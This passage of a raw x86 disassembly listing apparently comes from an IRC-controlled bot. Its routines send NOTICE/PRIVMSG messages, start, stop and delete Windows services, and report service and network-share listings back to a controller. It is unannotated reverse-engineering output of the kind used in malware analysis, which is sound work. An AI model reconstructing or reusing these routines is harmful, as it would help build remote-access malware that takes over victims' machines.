sub_40D4C5	proc near		; CODE XREF: sub_402DD7+8Bp
					; sub_402DD7+174p

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_417B30
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_40D506
		dec	eax
		jz	short loc_40D4E4
		dec	eax


loc_40D4DE:				; CODE XREF: sub_40D4C5+57j
		xor	eax, eax


loc_40D4E0:				; CODE XREF: sub_40D4C5+3Fj
					; sub_40D4C5+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D4E4:				; CODE XREF: sub_40D4C5+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_43F6A8
		push	eax
		call	sub_4076CA
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_40D4E0
; ---------------------------------------------------------------------------


loc_40D506:				; CODE XREF: sub_40D4C5+13j
		push	6
		push	1
		push	2
		call	dword_43F6E8
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_40D4DE
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	dword_43F668
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_40ADCA
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_43F610
		cmp	eax, edi
		jz	loc_40D622
		push	ebx
		push	48h
		push	offset dword_42E6F4
		push	esi
		call	dword_43F6B8
		cmp	eax, edi
		jz	loc_40D622
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_43F680
		cmp	eax, edi
		jz	loc_40D622
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_40D622
		push	ebx
		push	18h
		push	offset dword_42E740
		push	[ebp+arg_4]
		call	dword_43F6B8
		cmp	eax, edi
		jz	short loc_40D622
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_43F680
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_40D622
		cmp	[ebp+var_200E],	2
		jnz	short loc_40D622
		push	10h
		push	offset loc_42E75C
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_40D48D
		add	esp, 10h
		test	al, al
		jz	short loc_40D602
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_40D622
; ---------------------------------------------------------------------------


loc_40D602:				; CODE XREF: sub_40D4C5+12Fj
		push	10h
		push	offset dword_42E770
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_40D48D
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax


loc_40D622:				; CODE XREF: sub_40D4C5+9Bj
					; sub_40D4C5+B2j ...
		push	[ebp+arg_4]
		call	dword_43F700
		mov	eax, ebx
		pop	ebx
		jmp	loc_40D4E0
sub_40D4C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D633	proc near		; CODE XREF: sub_40ECFA+3Dp
					; sub_40EE72+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_4193FF
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43F6B8
		leave
		retn
sub_40D633	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D679	proc near		; CODE XREF: sub_401000+8Bp
					; sub_40144A+76p ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_40D694
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_40D694:				; CODE XREF: sub_40D679+14j
		push	edi
		call	sub_417AB0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_417AB0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset dword_42E784
		push	eax
		call	sub_4172AE
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43F6B8
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_40D717
		push	7D0h
		call	near ptr 260048Fh
		nop

locret_40D717:				; CODE XREF: sub_40D679+91j
		leave
		retn
sub_40D679	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D719	proc near		; CODE XREF: sub_40EE72:loc_410F84p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_40D771
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_42E7A8[esi]
		push	edi
		push	eax
		call	sub_40D793
		add	esp, 14h
		test	eax, eax
		jnz	short loc_40D761
		push	edi
		push	off_42E7A4[esi]
		push	offset dword_42E8D4


loc_40D751:				; CODE XREF: sub_40D719+56j
		mov	esi, offset dword_444138
		push	esi
		call	sub_4172AE
		add	esp, 10h
		jmp	short loc_40D78E
; ---------------------------------------------------------------------------


loc_40D761:				; CODE XREF: sub_40D719+2Aj
		push	eax
		call	sub_40D835
		pop	ecx
		push	eax
		push	edi
		push	offset dword_42E89C
		jmp	short loc_40D751
; ---------------------------------------------------------------------------


loc_40D771:				; CODE XREF: sub_40D719+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_444138
		push	off_42E7A0[eax*4]
		push	offset dword_42E868
		push	esi
		call	sub_4172AE
		add	esp, 0Ch


loc_40D78E:				; CODE XREF: sub_40D719+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_40D719	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D793	proc near		; CODE XREF: sub_40D719+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_43F65C
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_40D7BA
		nop
		call	near ptr 2650BAEh
		mov	ebx, eax
		jmp	short loc_40D82F
; ---------------------------------------------------------------------------


loc_40D7BA:				; CODE XREF: sub_40D793+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_43F550
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_40D7DA
		nop
		call	near ptr 2650BAEh
		mov	ebx, eax
		jmp	short loc_40D827
; ---------------------------------------------------------------------------


loc_40D7DA:				; CODE XREF: sub_40D793+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_40D80D
		cmp	eax, 3
		jz	short loc_40D7FE
		jle	short loc_40D820
		cmp	eax, 6
		jg	short loc_40D820
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_43F5B8
		jmp	short loc_40D814
; ---------------------------------------------------------------------------


loc_40D7FE:				; CODE XREF: sub_40D793+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_43F558
		jmp	short loc_40D814
; ---------------------------------------------------------------------------


loc_40D80D:				; CODE XREF: sub_40D793+4Dj
		push	esi
		call	dword_43F5BC


loc_40D814:				; CODE XREF: sub_40D793+69j
					; sub_40D793+78j
		test	eax, eax
		jnz	short loc_40D820
		nop
		call	near ptr 2650BAEh
		mov	ebx, eax


loc_40D820:				; CODE XREF: sub_40D793+54j
					; sub_40D793+59j ...
		push	esi
		call	dword_43F56C


loc_40D827:				; CODE XREF: sub_40D793+45j
		push	edi
		call	dword_43F56C
		pop	esi


loc_40D82F:				; CODE XREF: sub_40D793+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_40D793	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D835	proc near		; CODE XREF: sub_40D719+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_40D8EA
		jz	loc_40D8E3
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_40D8AD
		jz	short loc_40D8A3
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_40D899
		dec	ecx
		dec	ecx
		jz	short loc_40D88F
		dec	ecx
		jz	short loc_40D885
		sub	ecx, 51h
		jz	short loc_40D87B
		sub	ecx, 24h
		jnz	loc_40D960	; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_40D952
; ---------------------------------------------------------------------------


loc_40D87B:				; CODE XREF: sub_40D835+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_40D952
; ---------------------------------------------------------------------------


loc_40D885:				; CODE XREF: sub_40D835+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_40D952
; ---------------------------------------------------------------------------


loc_40D88F:				; CODE XREF: sub_40D835+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_40D952
; ---------------------------------------------------------------------------


loc_40D899:				; CODE XREF: sub_40D835+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_40D952
; ---------------------------------------------------------------------------


loc_40D8A3:				; CODE XREF: sub_40D835+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_40D952
; ---------------------------------------------------------------------------


loc_40D8AD:				; CODE XREF: sub_40D835+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_40D8DC
		dec	ecx
		jz	short loc_40D8D5
		dec	ecx
		jz	short loc_40D8CE
		dec	ecx
		jnz	loc_40D960	; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_40D952
; ---------------------------------------------------------------------------


loc_40D8CE:				; CODE XREF: sub_40D835+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D8D5:				; CODE XREF: sub_40D835+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D8DC:				; CODE XREF: sub_40D835+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D8E3:				; CODE XREF: sub_40D835+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D8EA:				; CODE XREF: sub_40D835+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_40D960 ; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		jz	short loc_40D94D
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_40D960 ; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_40D9A1[ecx]
		jmp	off_40D979[ecx*4] ; switch jump


loc_40D90E:				; DATA XREF: ___:off_40D979o
		push	offset aTheSpecifiedDa ; jumptable 0040D907 case 7
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D915:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceDepe ; jumptable 0040D907 case 17
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D91C:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceDe_0 ; jumptable 0040D907 case 10
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D923:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceHasB ; jumptable 0040D907 case 0
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D92A:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheSpecified_0 ; jumptable 0040D907 case 2
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D931:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceCoul ; jumptable 0040D907 case 11
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D938:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceHa_0 ; jumptable 0040D907 case 14
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D93F:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheRequested_1 ; jumptable 0040D907 case 3
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D946:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceHasN ; jumptable 0040D907 case 4
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D94D:				; CODE XREF: sub_40D835+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_40D952:				; CODE XREF: sub_40D835+41j
					; sub_40D835+4Bj ...
		push	offset dword_443A78
		call	sub_4172AE
		pop	ecx
		pop	ecx
		jmp	short loc_40D973
; ---------------------------------------------------------------------------


loc_40D960:				; CODE XREF: sub_40D835+36j
					; sub_40D835+89j ...
		push	eax		; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>"
		push	offset dword_443A78
		call	sub_4172AE
		add	esp, 0Ch


loc_40D973:				; CODE XREF: sub_40D835+129j
		mov	eax, offset dword_443A78
		retn
sub_40D835	endp

; ---------------------------------------------------------------------------
off_40D979	dd offset loc_40D923	; DATA XREF: sub_40D835+D2r
		dd offset loc_40D92A	; jump table for switch	statement
		dd offset loc_40D93F
		dd offset loc_40D946
		dd offset loc_40D90E
		dd offset loc_40D91C
		dd offset loc_40D931
		dd offset loc_40D938
		dd offset loc_40D915
		dd offset loc_40D960
byte_40D9A1	db	0,     9,     1,     2 ; DATA XREF: sub_40D835+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D9B3	proc near		; CODE XREF: sub_40EE72+2094p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_43F65C
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_40D9EB:				; CODE XREF: sub_40D9B3+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_43F628
		test	eax, eax
		jnz	short loc_40DA25
		nop
		call	near ptr 2650BAEh
		cmp	eax, 0EAh
		jnz	loc_40DAD9


loc_40DA25:				; CODE XREF: sub_40D9B3+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_40DAD0
		lea	esi, [ebp+var_188]


loc_40DA36:				; CODE XREF: sub_40D9B3+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_40DA7F
		dec	eax
		jz	short loc_40DA78
		dec	eax
		jz	short loc_40DA71
		dec	eax
		jz	short loc_40DA6A
		dec	eax
		jz	short loc_40DA63
		dec	eax
		jz	short loc_40DA5C
		dec	eax
		jz	short loc_40DA55
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------


loc_40DA55:				; CODE XREF: sub_40D9B3+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------


loc_40DA5C:				; CODE XREF: sub_40D9B3+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------


loc_40DA63:				; CODE XREF: sub_40D9B3+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------


loc_40DA6A:				; CODE XREF: sub_40D9B3+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------


loc_40DA71:				; CODE XREF: sub_40D9B3+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------


loc_40DA78:				; CODE XREF: sub_40D9B3+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------


loc_40DA7F:				; CODE XREF: sub_40D9B3+87j
		push	offset aStopped	; "    Stopped"


loc_40DA84:				; CODE XREF: sub_40D9B3+A0j
					; sub_40D9B3+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_4172AE
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_40DA36


loc_40DAD0:				; CODE XREF: sub_40D9B3+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_40D9EB


loc_40DAD9:				; CODE XREF: sub_40D9B3+6Cj
		push	[ebp+var_C]
		call	dword_43F56C
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_40D9B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DAF0	proc near		; CODE XREF: sub_40EE72:loc_410FB4p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_40DB8A
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_40DB19
		dec	eax
		jnz	short loc_40DB6A
		push	edi
		push	0
		call	sub_40DCC3
		pop	ecx
		pop	ecx
		jmp	short loc_40DB66
; ---------------------------------------------------------------------------


loc_40DB19:				; CODE XREF: sub_40DAF0+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_40DB58
		push	24h
		push	edi
		call	sub_418F50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DB58
		push	57h
		pop	eax


loc_40DB30:				; CODE XREF: sub_40DAF0+78j
		push	eax
		call	sub_40E4B7
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_443D34
		push	off_42E7A0[eax*4]
		push	offset dword_42EE98
		push	esi
		call	sub_4172AE
		add	esp, 14h
		jmp	short loc_40DBAA
; ---------------------------------------------------------------------------


loc_40DB58:				; CODE XREF: sub_40DAF0+2Dj
					; sub_40DAF0+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_40DC17
		add	esp, 0Ch


loc_40DB66:				; CODE XREF: sub_40DAF0+27j
		test	eax, eax
		jnz	short loc_40DB30


loc_40DB6A:				; CODE XREF: sub_40DAF0+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_443D34
		push	off_42E7A4[eax*4]
		push	offset dword_42EE6C
		push	esi
		call	sub_4172AE
		add	esp, 10h
		jmp	short loc_40DBAA
; ---------------------------------------------------------------------------


loc_40DB8A:				; CODE XREF: sub_40DAF0+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_443D34
		lea	eax, [eax+eax*2]
		push	off_42E7A0[eax*4]
		push	offset dword_42EE38
		push	esi
		call	sub_4172AE
		add	esp, 0Ch


loc_40DBAA:				; CODE XREF: sub_40DAF0+66j
					; sub_40DAF0+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40DAF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DBB0	proc near		; CODE XREF: sub_415F86+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_40DBBD
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40DBBD:				; CODE XREF: sub_40DBB0+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_424150
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_443F34, 1
		mov	ebp, eax
		jnz	short loc_40DBFA
		or	byte_443F34, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	dword_443CD4, eax


loc_40DBFA:				; CODE XREF: sub_40DBB0+32j
		push	esi
		push	esi
		push	ebp
		push	dword_443CD4
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_443CD4
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_40DBB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DC17	proc near		; CODE XREF: sub_40DAF0+6Ep
					; sub_4162AA+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_40DC82
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_40DC82
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_418F50
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_40DC82
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_43F568
		pop	edi
		leave
		retn
sub_40DC17	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DC82	proc near		; CODE XREF: sub_40DC17+Ap
					; sub_40DC17+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_40DC8F
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40DC8F:				; CODE XREF: sub_40DC82+9j
		push	ebx
		push	esi
		mov	esi, dword_424070
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40DC82	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DCC3	proc near		; CODE XREF: sub_40DAF0+20p
					; sub_415F86+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_40DC82
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_40DC82
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_43F540
		pop	esi
		retn
sub_40DCC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DCE6	proc near		; CODE XREF: sub_40EE72+2169p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_40DC82
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 18h


loc_40DD1F:				; CODE XREF: sub_40DCE6+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_43F5B4
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_40DD82
		cmp	ebx, 0EAh
		jz	short loc_40DD82
		push	ebx
		push	ebx
		call	sub_40E4B7
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset dword_42EEF4
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 24h
		jmp	short loc_40DDEF
; ---------------------------------------------------------------------------


loc_40DD82:				; CODE XREF: sub_40DCE6+5Dj
					; sub_40DCE6+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_40DDE6
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_40DD90:				; CODE XREF: sub_40DCE6+FCj
		push	dword ptr [esi+10h]
		call	dword_43F55C
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_40DDA7
		mov	eax, offset aNo	; "No"


loc_40DDA7:				; CODE XREF: sub_40DCE6+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_40DD90
		xor	esi, esi


loc_40DDE6:				; CODE XREF: sub_40DCE6+A2j
		push	[ebp+var_4]
		call	dword_43F6F8


loc_40DDEF:				; CODE XREF: sub_40DCE6+9Aj
		cmp	ebx, 0EAh
		jz	loc_40DD1F
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_40DCE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DE07	proc near		; CODE XREF: sub_40EE72:loc_411047p

arg_0		= dword	ptr  8
